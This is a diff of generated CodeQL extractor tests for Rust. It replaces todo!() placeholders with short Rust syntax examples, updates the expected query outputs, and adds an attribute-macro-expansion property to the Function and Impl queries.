a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getParamList.expected b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getParamList.expected index e69de29bb2d1..26e6ae2ef9f6 100644 --- a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getParamList.expected +++ b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getParamList.expected @@ -0,0 +1 @@ +| gen_fn_ptr_type_repr.rs:7:12:7:25 | FnPtrTypeRepr | gen_fn_ptr_type_repr.rs:7:14:7:18 | ParamList | diff --git a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getRetType.expected b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getRetType.expected index e69de29bb2d1..244765e95063 100644 --- a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getRetType.expected +++ b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getRetType.expected @@ -0,0 +1 @@ +| gen_fn_ptr_type_repr.rs:7:12:7:25 | FnPtrTypeRepr | gen_fn_ptr_type_repr.rs:7:20:7:25 | RetTypeRepr | diff --git a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/gen_fn_ptr_type_repr.rs b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/gen_fn_ptr_type_repr.rs index d8c07124d104..a2e33cd0510f 100644 --- a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/gen_fn_ptr_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/gen_fn_ptr_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_fn_ptr_type_repr() -> () { - // A FnPtrTypeRepr. For example: - todo!() + // A function pointer type. + // + // For example: + let f: fn(i32) -> i32; + // ^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr.expected b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr.expected index e69de29bb2d1..afe5349abb52 100644 --- a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr.expected +++ b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr.expected @@ -0,0 +1 @@ +| gen_for_expr.rs:7:5:9:5 | for ... in ... { ... } | hasLabel: | no | hasLoopBody: | yes | getNumberOfAttrs: | 0 | hasIterable: | yes | hasPat: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getIterable.expected b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getIterable.expected index e69de29bb2d1..d73979b6df8a 100644 --- a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getIterable.expected +++ b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getIterable.expected @@ -0,0 +1 @@ +| gen_for_expr.rs:7:5:9:5 | for ... in ... { ... } | gen_for_expr.rs:7:14:7:18 | 0..10 | diff --git a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getLoopBody.expected b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getLoopBody.expected index e69de29bb2d1..d0460f8ed7a4 100644 --- a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getLoopBody.expected +++ b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getLoopBody.expected @@ -0,0 +1 @@ +| gen_for_expr.rs:7:5:9:5 | for ... in ... { ... } | gen_for_expr.rs:7:20:9:5 | { ... } | diff --git a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getPat.expected b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getPat.expected index e69de29bb2d1..44c312073f9c 100644 --- a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getPat.expected +++ b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getPat.expected @@ -0,0 +1 @@ +| gen_for_expr.rs:7:5:9:5 | for ... in ... { ... } | gen_for_expr.rs:7:9:7:9 | x | diff --git a/rust/ql/test/extractor-tests/generated/ForExpr/gen_for_expr.rs b/rust/ql/test/extractor-tests/generated/ForExpr/gen_for_expr.rs index bda4a972556e..f87a8ab3fea5 100644 --- a/rust/ql/test/extractor-tests/generated/ForExpr/gen_for_expr.rs +++ b/rust/ql/test/extractor-tests/generated/ForExpr/gen_for_expr.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_for_expr() -> () { - // A ForExpr. For example: - todo!() + // A for loop expression. + // + // For example: + for x in 0..10 { + println!("{}", x); + } } diff --git a/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr.expected index e69de29bb2d1..6adad498f31d 100644 --- a/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr.expected @@ -0,0 +1 @@ +| gen_for_type_repr.rs:9:12:9:41 | ForTypeRepr | hasGenericParamList: | yes | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getGenericParamList.expected b/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getGenericParamList.expected index e69de29bb2d1..0cb4ba872092 100644 --- a/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getGenericParamList.expected +++ b/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getGenericParamList.expected @@ -0,0 +1 @@ +| gen_for_type_repr.rs:9:12:9:41 | ForTypeRepr | gen_for_type_repr.rs:9:15:9:18 | <...> | diff --git a/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getTypeRepr.expected index e69de29bb2d1..14610d6319f8 100644 --- a/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_for_type_repr.rs:9:12:9:41 | ForTypeRepr | gen_for_type_repr.rs:9:20:9:41 | Fn | diff --git a/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs b/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs index 5e1c39e49c38..49cd9e5c1abf 100644 --- a/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs @@ -1,6 +1,14 @@ // generated by codegen, do not edit fn test_for_type_repr() -> () { - // A ForTypeRepr. For example: - todo!() + // A higher-ranked trait bound. + // + // For example: + fn foo(value: T) + where + T: for<'a> Fn(&'a str) -> &'a str + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + { + // ... + } } diff --git a/rust/ql/test/extractor-tests/generated/Function/Function.expected b/rust/ql/test/extractor-tests/generated/Function/Function.expected index b96996beef94..d30ef684493d 100644 --- a/rust/ql/test/extractor-tests/generated/Function/Function.expected +++ b/rust/ql/test/extractor-tests/generated/Function/Function.expected @@ -1,2 +1,2 @@ -| gen_function.rs:3:1:4:38 | fn foo | hasParamList: | yes | getNumberOfAttrs: | 0 | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasAbi: | no | hasBody: | yes | hasGenericParamList: | no | isAsync: | no | isConst: | no | isDefault: | no | isGen: | no | isUnsafe: | no | hasName: | yes | hasRetType: | yes | hasVisibility: | no | hasWhereClause: | no | -| gen_function.rs:7:5:7:13 | fn bar | hasParamList: | yes | getNumberOfAttrs: | 0 | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasAbi: | no | hasBody: | no | hasGenericParamList: | no | isAsync: | no | isConst: | no | isDefault: | no | isGen: | no | isUnsafe: | no | hasName: | yes | hasRetType: | no | hasVisibility: | no | hasWhereClause: | no | +| gen_function.rs:3:1:4:38 | fn foo | hasParamList: | yes | getNumberOfAttrs: | 0 | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasAttributeMacroExpansion: | no | hasAbi: | no | hasBody: | yes | hasGenericParamList: | no | isAsync: | no | isConst: | no | isDefault: | no | isGen: | no | isUnsafe: | no | hasName: | yes | hasRetType: | yes | hasVisibility: | no | hasWhereClause: | no | +| gen_function.rs:7:5:7:13 | fn bar | hasParamList: | yes | getNumberOfAttrs: | 0 | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasAttributeMacroExpansion: | no | hasAbi: | no | hasBody: | no | hasGenericParamList: | no | isAsync: | no | isConst: | no | isDefault: | no | isGen: | no | isUnsafe: | no | hasName: | yes | hasRetType: | no | hasVisibility: | no | hasWhereClause: | no | diff --git a/rust/ql/test/extractor-tests/generated/Function/Function.ql b/rust/ql/test/extractor-tests/generated/Function/Function.ql index a6e969111fb9..3c368187c296 100644 --- a/rust/ql/test/extractor-tests/generated/Function/Function.ql +++ b/rust/ql/test/extractor-tests/generated/Function/Function.ql @@ -4,9 +4,9 @@ import TestUtils from Function x, string hasParamList, int getNumberOfAttrs, string hasExtendedCanonicalPath, - string hasCrateOrigin, string hasAbi, string hasBody, string hasGenericParamList, string isAsync, - string isConst, string isDefault, string isGen, string isUnsafe, string hasName, - string hasRetType, string hasVisibility, string hasWhereClause + string hasCrateOrigin, string hasAttributeMacroExpansion, string hasAbi, string hasBody, + string hasGenericParamList, string isAsync, string isConst, string isDefault, string isGen, + string isUnsafe, string hasName, string hasRetType, string hasVisibility, string hasWhereClause where toBeTested(x) and not x.isUnknown() and @@ -18,6 +18,11 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and (if x.hasAbi() then hasAbi = "yes" else hasAbi = "no") and (if x.hasBody() then hasBody = "yes" else hasBody = "no") and (if x.hasGenericParamList() then hasGenericParamList = "yes" else hasGenericParamList = "no") and @@ -32,7 +37,7 @@ where if x.hasWhereClause() then hasWhereClause = "yes" else hasWhereClause = "no" select x, "hasParamList:", hasParamList, "getNumberOfAttrs:", getNumberOfAttrs, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "hasAbi:", hasAbi, "hasBody:", hasBody, "hasGenericParamList:", hasGenericParamList, "isAsync:", - isAsync, "isConst:", isConst, "isDefault:", isDefault, "isGen:", isGen, "isUnsafe:", isUnsafe, - "hasName:", hasName, "hasRetType:", hasRetType, "hasVisibility:", hasVisibility, - "hasWhereClause:", hasWhereClause + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "hasAbi:", hasAbi, "hasBody:", hasBody, + "hasGenericParamList:", hasGenericParamList, "isAsync:", isAsync, "isConst:", isConst, + "isDefault:", isDefault, "isGen:", isGen, "isUnsafe:", isUnsafe, "hasName:", hasName, + "hasRetType:", hasRetType, "hasVisibility:", hasVisibility, "hasWhereClause:", hasWhereClause diff --git a/rust/ql/test/extractor-tests/generated/Function/Function_getAttributeMacroExpansion.expected b/rust/ql/test/extractor-tests/generated/Function/Function_getAttributeMacroExpansion.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/Function/Function_getAttributeMacroExpansion.ql b/rust/ql/test/extractor-tests/generated/Function/Function_getAttributeMacroExpansion.ql new file mode 100644 index 000000000000..4bb6e2852cb9 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/Function/Function_getAttributeMacroExpansion.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from Function x +where toBeTested(x) and not x.isUnknown() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/Impl/Impl.expected b/rust/ql/test/extractor-tests/generated/Impl/Impl.expected index e69de29bb2d1..5297703e7d86 100644 --- a/rust/ql/test/extractor-tests/generated/Impl/Impl.expected +++ b/rust/ql/test/extractor-tests/generated/Impl/Impl.expected @@ -0,0 +1 @@ +| gen_impl.rs:4:5:9:5 | impl MyTrait for MyType { ... } | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | hasAssocItemList: | yes | getNumberOfAttrs: | 0 | hasGenericParamList: | no | isConst: | no | isDefault: | no | isUnsafe: | no | hasSelfTy: | yes | hasTrait: | yes | hasVisibility: | no | hasWhereClause: | no | diff --git a/rust/ql/test/extractor-tests/generated/Impl/Impl.ql b/rust/ql/test/extractor-tests/generated/Impl/Impl.ql index 5af0d0da0d44..fa92053a2172 100644 --- a/rust/ql/test/extractor-tests/generated/Impl/Impl.ql +++ b/rust/ql/test/extractor-tests/generated/Impl/Impl.ql @@ -3,9 +3,10 @@ import codeql.rust.elements import TestUtils from - Impl x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasAssocItemList, - int getNumberOfAttrs, string hasGenericParamList, string isConst, string isDefault, - string isUnsafe, string hasSelfTy, string hasTrait, string hasVisibility, string hasWhereClause + Impl x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasAttributeMacroExpansion, + string hasAssocItemList, int getNumberOfAttrs, string hasGenericParamList, string isConst, + string isDefault, string isUnsafe, string hasSelfTy, string hasTrait, string hasVisibility, + string hasWhereClause where toBeTested(x) and not x.isUnknown() and @@ -15,6 +16,11 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and (if x.hasAssocItemList() then hasAssocItemList = "yes" else hasAssocItemList = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasGenericParamList() then hasGenericParamList = "yes" else hasGenericParamList = "no") and @@ -26,7 +32,7 @@ where (if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no") and if x.hasWhereClause() then hasWhereClause = "yes" else hasWhereClause = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "hasAssocItemList:", hasAssocItemList, "getNumberOfAttrs:", getNumberOfAttrs, - "hasGenericParamList:", hasGenericParamList, "isConst:", isConst, "isDefault:", isDefault, - "isUnsafe:", isUnsafe, "hasSelfTy:", hasSelfTy, "hasTrait:", hasTrait, "hasVisibility:", - hasVisibility, "hasWhereClause:", hasWhereClause + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "hasAssocItemList:", hasAssocItemList, + "getNumberOfAttrs:", getNumberOfAttrs, "hasGenericParamList:", hasGenericParamList, "isConst:", + isConst, "isDefault:", isDefault, "isUnsafe:", isUnsafe, "hasSelfTy:", hasSelfTy, "hasTrait:", + hasTrait, "hasVisibility:", hasVisibility, "hasWhereClause:", hasWhereClause diff --git a/rust/ql/test/extractor-tests/generated/Impl/Impl_getAssocItemList.expected b/rust/ql/test/extractor-tests/generated/Impl/Impl_getAssocItemList.expected index e69de29bb2d1..ae3d1f4a97f2 100644 --- a/rust/ql/test/extractor-tests/generated/Impl/Impl_getAssocItemList.expected +++ b/rust/ql/test/extractor-tests/generated/Impl/Impl_getAssocItemList.expected @@ -0,0 +1 @@ +| gen_impl.rs:4:5:9:5 | impl MyTrait for MyType { ... } | gen_impl.rs:7:29:9:5 | AssocItemList | diff --git a/rust/ql/test/extractor-tests/generated/Impl/Impl_getAttributeMacroExpansion.expected b/rust/ql/test/extractor-tests/generated/Impl/Impl_getAttributeMacroExpansion.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/Impl/Impl_getAttributeMacroExpansion.ql b/rust/ql/test/extractor-tests/generated/Impl/Impl_getAttributeMacroExpansion.ql new file mode 100644 index 000000000000..3496b9cebe79 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/Impl/Impl_getAttributeMacroExpansion.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from Impl x +where toBeTested(x) and not x.isUnknown() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/Impl/Impl_getSelfTy.expected b/rust/ql/test/extractor-tests/generated/Impl/Impl_getSelfTy.expected index e69de29bb2d1..3d38010c592a 100644 --- a/rust/ql/test/extractor-tests/generated/Impl/Impl_getSelfTy.expected +++ b/rust/ql/test/extractor-tests/generated/Impl/Impl_getSelfTy.expected @@ -0,0 +1 @@ +| gen_impl.rs:4:5:9:5 | impl MyTrait for MyType { ... } | gen_impl.rs:7:22:7:27 | MyType | diff --git a/rust/ql/test/extractor-tests/generated/Impl/Impl_getTrait.expected b/rust/ql/test/extractor-tests/generated/Impl/Impl_getTrait.expected index e69de29bb2d1..9c0392972e1a 100644 --- a/rust/ql/test/extractor-tests/generated/Impl/Impl_getTrait.expected +++ b/rust/ql/test/extractor-tests/generated/Impl/Impl_getTrait.expected @@ -0,0 +1 @@ +| gen_impl.rs:4:5:9:5 | impl MyTrait for MyType { ... } | gen_impl.rs:7:10:7:16 | MyTrait | diff --git a/rust/ql/test/extractor-tests/generated/Impl/gen_impl.rs b/rust/ql/test/extractor-tests/generated/Impl/gen_impl.rs index 41254299a94a..717d2e29b87d 100644 --- a/rust/ql/test/extractor-tests/generated/Impl/gen_impl.rs +++ b/rust/ql/test/extractor-tests/generated/Impl/gen_impl.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_impl() -> () { - // A Impl. For example: - todo!() + // An `impl`` block. + // + // For example: + impl MyTrait for MyType { + fn foo(&self) {} + } } diff --git a/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr.expected index e69de29bb2d1..27a8426d9c2c 100644 --- a/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr.expected @@ -0,0 +1 @@ +| gen_impl_trait_type_repr.rs:7:17:7:41 | ImplTraitTypeRepr | hasTypeBoundList: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr_getTypeBoundList.expected b/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr_getTypeBoundList.expected index e69de29bb2d1..fbab626faa29 100644 --- a/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr_getTypeBoundList.expected +++ b/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr_getTypeBoundList.expected @@ -0,0 +1 @@ +| gen_impl_trait_type_repr.rs:7:17:7:41 | ImplTraitTypeRepr | gen_impl_trait_type_repr.rs:7:22:7:41 | TypeBoundList | diff --git a/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/gen_impl_trait_type_repr.rs b/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/gen_impl_trait_type_repr.rs index 36404a83f848..93fab7930edf 100644 --- a/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/gen_impl_trait_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/gen_impl_trait_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_impl_trait_type_repr() -> () { - // A ImplTraitTypeRepr. For example: - todo!() + // An `impl Trait` type. + // + // For example: + fn foo() -> impl Iterator { 0..10 } + // ^^^^^^^^^^^^^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/InferTypeRepr/InferTypeRepr.expected b/rust/ql/test/extractor-tests/generated/InferTypeRepr/InferTypeRepr.expected index e69de29bb2d1..7078443bf004 100644 --- a/rust/ql/test/extractor-tests/generated/InferTypeRepr/InferTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/InferTypeRepr/InferTypeRepr.expected @@ -0,0 +1 @@ +| gen_infer_type_repr.rs:7:12:7:12 | _ | diff --git a/rust/ql/test/extractor-tests/generated/InferTypeRepr/gen_infer_type_repr.rs b/rust/ql/test/extractor-tests/generated/InferTypeRepr/gen_infer_type_repr.rs index a1be7a78f21f..95e88850579d 100644 --- a/rust/ql/test/extractor-tests/generated/InferTypeRepr/gen_infer_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/InferTypeRepr/gen_infer_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_infer_type_repr() -> () { - // A InferTypeRepr. For example: - todo!() + // An inferred type (`_`). + // + // For example: + let x: _ = 42; + // ^ } diff --git a/rust/ql/test/extractor-tests/generated/ItemList/ItemList.expected b/rust/ql/test/extractor-tests/generated/ItemList/ItemList.expected index e69de29bb2d1..482eff5695c1 100644 --- a/rust/ql/test/extractor-tests/generated/ItemList/ItemList.expected +++ b/rust/ql/test/extractor-tests/generated/ItemList/ItemList.expected @@ -0,0 +1 @@ +| gen_item_list.rs:7:11:10:5 | ItemList | getNumberOfAttrs: | 0 | getNumberOfItems: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/ItemList/ItemList_getItem.expected b/rust/ql/test/extractor-tests/generated/ItemList/ItemList_getItem.expected index e69de29bb2d1..1ea2c7b8fc7f 100644 --- a/rust/ql/test/extractor-tests/generated/ItemList/ItemList_getItem.expected +++ b/rust/ql/test/extractor-tests/generated/ItemList/ItemList_getItem.expected @@ -0,0 +1,2 @@ +| gen_item_list.rs:7:11:10:5 | ItemList | 0 | gen_item_list.rs:8:9:8:19 | fn foo | +| gen_item_list.rs:7:11:10:5 | ItemList | 1 | gen_item_list.rs:9:9:9:17 | struct S | diff --git a/rust/ql/test/extractor-tests/generated/ItemList/gen_item_list.rs b/rust/ql/test/extractor-tests/generated/ItemList/gen_item_list.rs index 5866f8da8914..5ef75ba92228 100644 --- a/rust/ql/test/extractor-tests/generated/ItemList/gen_item_list.rs +++ b/rust/ql/test/extractor-tests/generated/ItemList/gen_item_list.rs @@ -1,6 +1,11 @@ // generated by codegen, do not edit fn test_item_list() -> () { - // A ItemList. For example: - todo!() + // A list of items in a module or block. + // + // For example: + mod m { + fn foo() {} + struct S; + } } diff --git a/rust/ql/test/extractor-tests/generated/LetElse/LetElse.expected b/rust/ql/test/extractor-tests/generated/LetElse/LetElse.expected index e69de29bb2d1..64b1e39e01d4 100644 --- a/rust/ql/test/extractor-tests/generated/LetElse/LetElse.expected +++ b/rust/ql/test/extractor-tests/generated/LetElse/LetElse.expected @@ -0,0 +1 @@ +| gen_let_else.rs:7:23:9:5 | else {...} | hasBlockExpr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/LetElse/LetElse_getBlockExpr.expected b/rust/ql/test/extractor-tests/generated/LetElse/LetElse_getBlockExpr.expected index e69de29bb2d1..0083f6a3df57 100644 --- a/rust/ql/test/extractor-tests/generated/LetElse/LetElse_getBlockExpr.expected +++ b/rust/ql/test/extractor-tests/generated/LetElse/LetElse_getBlockExpr.expected @@ -0,0 +1 @@ +| gen_let_else.rs:7:23:9:5 | else {...} | gen_let_else.rs:7:28:9:5 | { ... } | diff --git a/rust/ql/test/extractor-tests/generated/LetElse/gen_let_else.rs b/rust/ql/test/extractor-tests/generated/LetElse/gen_let_else.rs index 3bd4a6254487..30d9b056cd0a 100644 --- a/rust/ql/test/extractor-tests/generated/LetElse/gen_let_else.rs +++ b/rust/ql/test/extractor-tests/generated/LetElse/gen_let_else.rs @@ -1,6 +1,11 @@ // generated by codegen, do not edit fn test_let_else() -> () { - // A LetElse. For example: - todo!() + // An else block in a let-else statement. + // + // For example: + let Some(x) = opt else { + return; + }; + // ^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime.expected b/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime.expected index e69de29bb2d1..bb57ab8de874 100644 --- a/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime.expected +++ b/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime.expected @@ -0,0 +1,2 @@ +| gen_lifetime.rs:7:12:7:13 | 'a | hasText: | yes | +| gen_lifetime.rs:7:20:7:21 | 'a | hasText: | yes | diff --git a/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime_getText.expected b/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime_getText.expected index e69de29bb2d1..3570dcab91a0 100644 --- a/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime_getText.expected +++ b/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime_getText.expected @@ -0,0 +1,2 @@ +| gen_lifetime.rs:7:12:7:13 | 'a | 'a | +| gen_lifetime.rs:7:20:7:21 | 'a | 'a | diff --git a/rust/ql/test/extractor-tests/generated/Lifetime/gen_lifetime.rs b/rust/ql/test/extractor-tests/generated/Lifetime/gen_lifetime.rs index 700261e2af55..e6a4ea563a10 100644 --- a/rust/ql/test/extractor-tests/generated/Lifetime/gen_lifetime.rs +++ b/rust/ql/test/extractor-tests/generated/Lifetime/gen_lifetime.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_lifetime() -> () { - // A Lifetime. For example: - todo!() + // A lifetime annotation. + // + // For example: + fn foo<'a>(x: &'a str) {} + // ^^ ^^ } diff --git a/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg.expected b/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg.expected index e69de29bb2d1..07554eee9bcd 100644 --- a/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg.expected +++ b/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg.expected @@ -0,0 +1 @@ +| gen_lifetime_arg.rs:7:20:7:21 | LifetimeArg | hasLifetime: | yes | diff --git a/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg_getLifetime.expected b/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg_getLifetime.expected index e69de29bb2d1..598bae0390f5 100644 --- a/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg_getLifetime.expected +++ b/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg_getLifetime.expected @@ -0,0 +1 @@ +| gen_lifetime_arg.rs:7:20:7:21 | LifetimeArg | gen_lifetime_arg.rs:7:20:7:21 | 'a | diff --git a/rust/ql/test/extractor-tests/generated/LifetimeArg/gen_lifetime_arg.rs b/rust/ql/test/extractor-tests/generated/LifetimeArg/gen_lifetime_arg.rs index cb03015cad0a..ac7cd3245798 100644 --- a/rust/ql/test/extractor-tests/generated/LifetimeArg/gen_lifetime_arg.rs +++ b/rust/ql/test/extractor-tests/generated/LifetimeArg/gen_lifetime_arg.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_lifetime_arg() -> () { - // A LifetimeArg. For example: - todo!() + // A lifetime argument in a generic argument list. + // + // For example: + let text: Text<'a>; + // ^^ } diff --git a/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam.expected b/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam.expected index e69de29bb2d1..2055797b2fd6 100644 --- a/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam.expected +++ b/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam.expected @@ -0,0 +1 @@ +| gen_lifetime_param.rs:7:12:7:13 | LifetimeParam | getNumberOfAttrs: | 0 | hasLifetime: | yes | hasTypeBoundList: | no | diff --git a/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam_getLifetime.expected b/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam_getLifetime.expected index e69de29bb2d1..1d1bc5bf0b02 100644 --- a/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam_getLifetime.expected +++ b/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam_getLifetime.expected @@ -0,0 +1 @@ +| gen_lifetime_param.rs:7:12:7:13 | LifetimeParam | gen_lifetime_param.rs:7:12:7:13 | 'a | diff --git a/rust/ql/test/extractor-tests/generated/LifetimeParam/gen_lifetime_param.rs b/rust/ql/test/extractor-tests/generated/LifetimeParam/gen_lifetime_param.rs index 7b55f1346653..6687cd996a5f 100644 --- a/rust/ql/test/extractor-tests/generated/LifetimeParam/gen_lifetime_param.rs +++ b/rust/ql/test/extractor-tests/generated/LifetimeParam/gen_lifetime_param.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_lifetime_param() -> () { - // A LifetimeParam. For example: - todo!() + // A lifetime parameter in a generic parameter list. + // + // For example: + fn foo<'a>(x: &'a str) {} + // ^^ } diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.expected b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.expected index db69c4e068ab..1192db0ba7ea 100644 --- a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.expected +++ b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.expected @@ -1 +1,2 @@ -| gen_macro_call.rs:5:5:5:11 | todo!... | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | getNumberOfAttrs: | 0 | hasPath: | yes | hasTokenTree: | yes | hasExpanded: | yes | +| gen_macro_call.rs:7:5:7:29 | println!... | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasPath: | yes | hasTokenTree: | yes | hasMacroCallExpansion: | yes | +| gen_macro_call.rs:7:14:7:28 | 